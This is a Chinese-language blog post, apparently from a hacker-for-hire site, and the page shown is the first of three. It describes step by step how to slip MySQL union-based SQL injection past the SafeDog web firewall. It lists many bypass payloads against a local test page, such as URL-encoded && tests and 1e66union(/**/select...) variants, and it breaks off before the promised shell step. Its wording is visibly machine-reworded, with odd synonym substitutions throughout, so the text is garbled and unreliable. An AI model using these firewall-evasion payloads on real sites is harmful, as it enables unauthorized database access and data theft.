MySQL联合注入之绕过安全狗到GetShell

访客5年前黑客文章967

发现网上公开过安全狗的办法少之又少,并且根本都是给个大约点就完毕,本文章是将整个进程记录了一遍,因为一开始我也没想到我能成功的绕过去,大约进程是这样:Mysql根底有必要要有–>定位—>fuzz—>得出剖析成果–>手艺测验—>成功绕过。
网站安全狗:
面向网站安全,包含:网马扫描及查杀(自有引擎,只针对网页木马);网马自动防护功用(可自动阻拦网马 上传和拜访的动作);防SQL注入功用、防XSS跨站进犯 功用;防盗链防下载;以及避免CC进犯。 
相关代码:

测验进程
为了得到更好的测验,我写了21行的缝隙代码,用来模仿进犯,并且在本机搭建了安全狗,挑选了4.0最新版别,在测验的进程中,碰到了各式各样的阻挠,最终成功绕过了安全狗,以下是悉数进程(边写文章边绕)。
恳求 :http://127.0.0.1/1.php?id=1 and 1=1

判别是否存在SQL注入:
咱们改成http://127.0.0.1/1.php?id=1and asd #没有被拦
http://127.0.0.1/1.php?id=1 axnxd 1=1 #没有被拦
得出结论 是正则匹配
只要把asd变型 或许 把axnxd 变型即可
http://127.0.0.1/1.php?id=1 %26%26 true #真
http://127.0.0.1/1.php?id=1 %26%26 false #假
http://127.0.0.1/1.php?id=1 %26%26 1 #真
http://127.0.0.1/1.php?id=1 %26%26 0 #假

加上两点:
假如判别SQL注入并且是Int类型注入:
http://127.0.0.1/1.php?id=2-1
因为这个INT注入类型没有进行转义成INT类型
所以就能够操作加减乘除法
http://127.0.0.1/1.php?id=2-1   实际上就成了http://127.0.0.1/1.php?id=1#2减1等于1
这样成功绕过了判别是否存在SQL注入
判别字段:
Order by xx #竟然没有被拦

安全狗是昨日(2019年5月16)下载的 因为我怕自己的日志被上传到日志服务器安全人员会进行剖析 然后得出绕过安全狗的SQL句子,所以我就断网了。

进行联合注入:

变型之前首要知道要改哪个方位
http://127.0.0.1/1.php?id=1xunion(select1,2)

把注意力转换到X这个字节上。咱们能够进行fuzz。可是我个人仍是喜爱手艺一个一个挨个的试、
这儿结合了一篇老外的文章:https://medium.com/bugbountywriteup/sql-injection-in-ctf-bef1ae0c5d9b
原理便是使用INT溢出进行绕过空格



仍是被阻拦
持续变型
找出要害所在方位
http://127.0.0.1/1.php?id=1e66union(1select1,2)

要害方位在1.这个方位需求变型
http://127.0.0.1/1.php?id=1e66union((select1,2))
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)

[1] [2] [3]  黑客接单网

相关文章

PHP中该怎样避免SQL注入?

问题描述: 假如用户输入的数据在未经处理的情况下刺进到一条SQL查询句子,那么运用将很可能遭受到SQL注入进犯,正如下面的比如: $unsafe_variable = $_POST['user_in...

浏览器进犯结构BeEF Part 5:进犯Web使用与进犯网络

前语 上一章介绍了Tunneling Proxy技能以及怎样运用这项技能来绕过httponly完成高档的会话盗取。本章评论如安在不违背SOP情况下,经过勾连浏览器进犯Web运用与进犯网络。其中有一些进...

RFI绕过URL包含限制Getshell-黑客接单平台

为什么有今日这篇文章?原因是我在阅读Twitter时,发现关于长途文件包括RFI的一个奇淫技巧!值得记载一下,思路也很别致!由于它打破我之前认为RFI已死的观念:) 正文 RFI引出 咱们知道php最...

第六届全国网络安全大赛代码审计全解

 XDCTF是一项面向全国在校大学生的信息安全类竞赛,由西电信息安全协会与网络攻防实训基地联合举行。旨在增强学生对网络常识的爱好,进步学生学习网络技术的积极性,培育学生的立异 认识、协作精力和理论联系...

MySQL怎么避免SQL注入

 假如您经过网页获取用户输入的 数据 并将其刺进一个MySQL数据库,那么就有可能发生SQL注入安全的 问题 。 本章节将为咱们介绍怎么避免SQL注入,并经过脚原本过滤SQL中注入的字符。  所谓SQ...

TrickBot银行木马归来突击全球金融机构

一、布景 最近国外安全研究人员发现TrickBot银行木马最新的样本,深服气EDR安全团队对此事进行了相关跟进,获取到了相应的样本,并对样本进行了详细剖析,承认此样本为TrickBot银行盗号木马的最...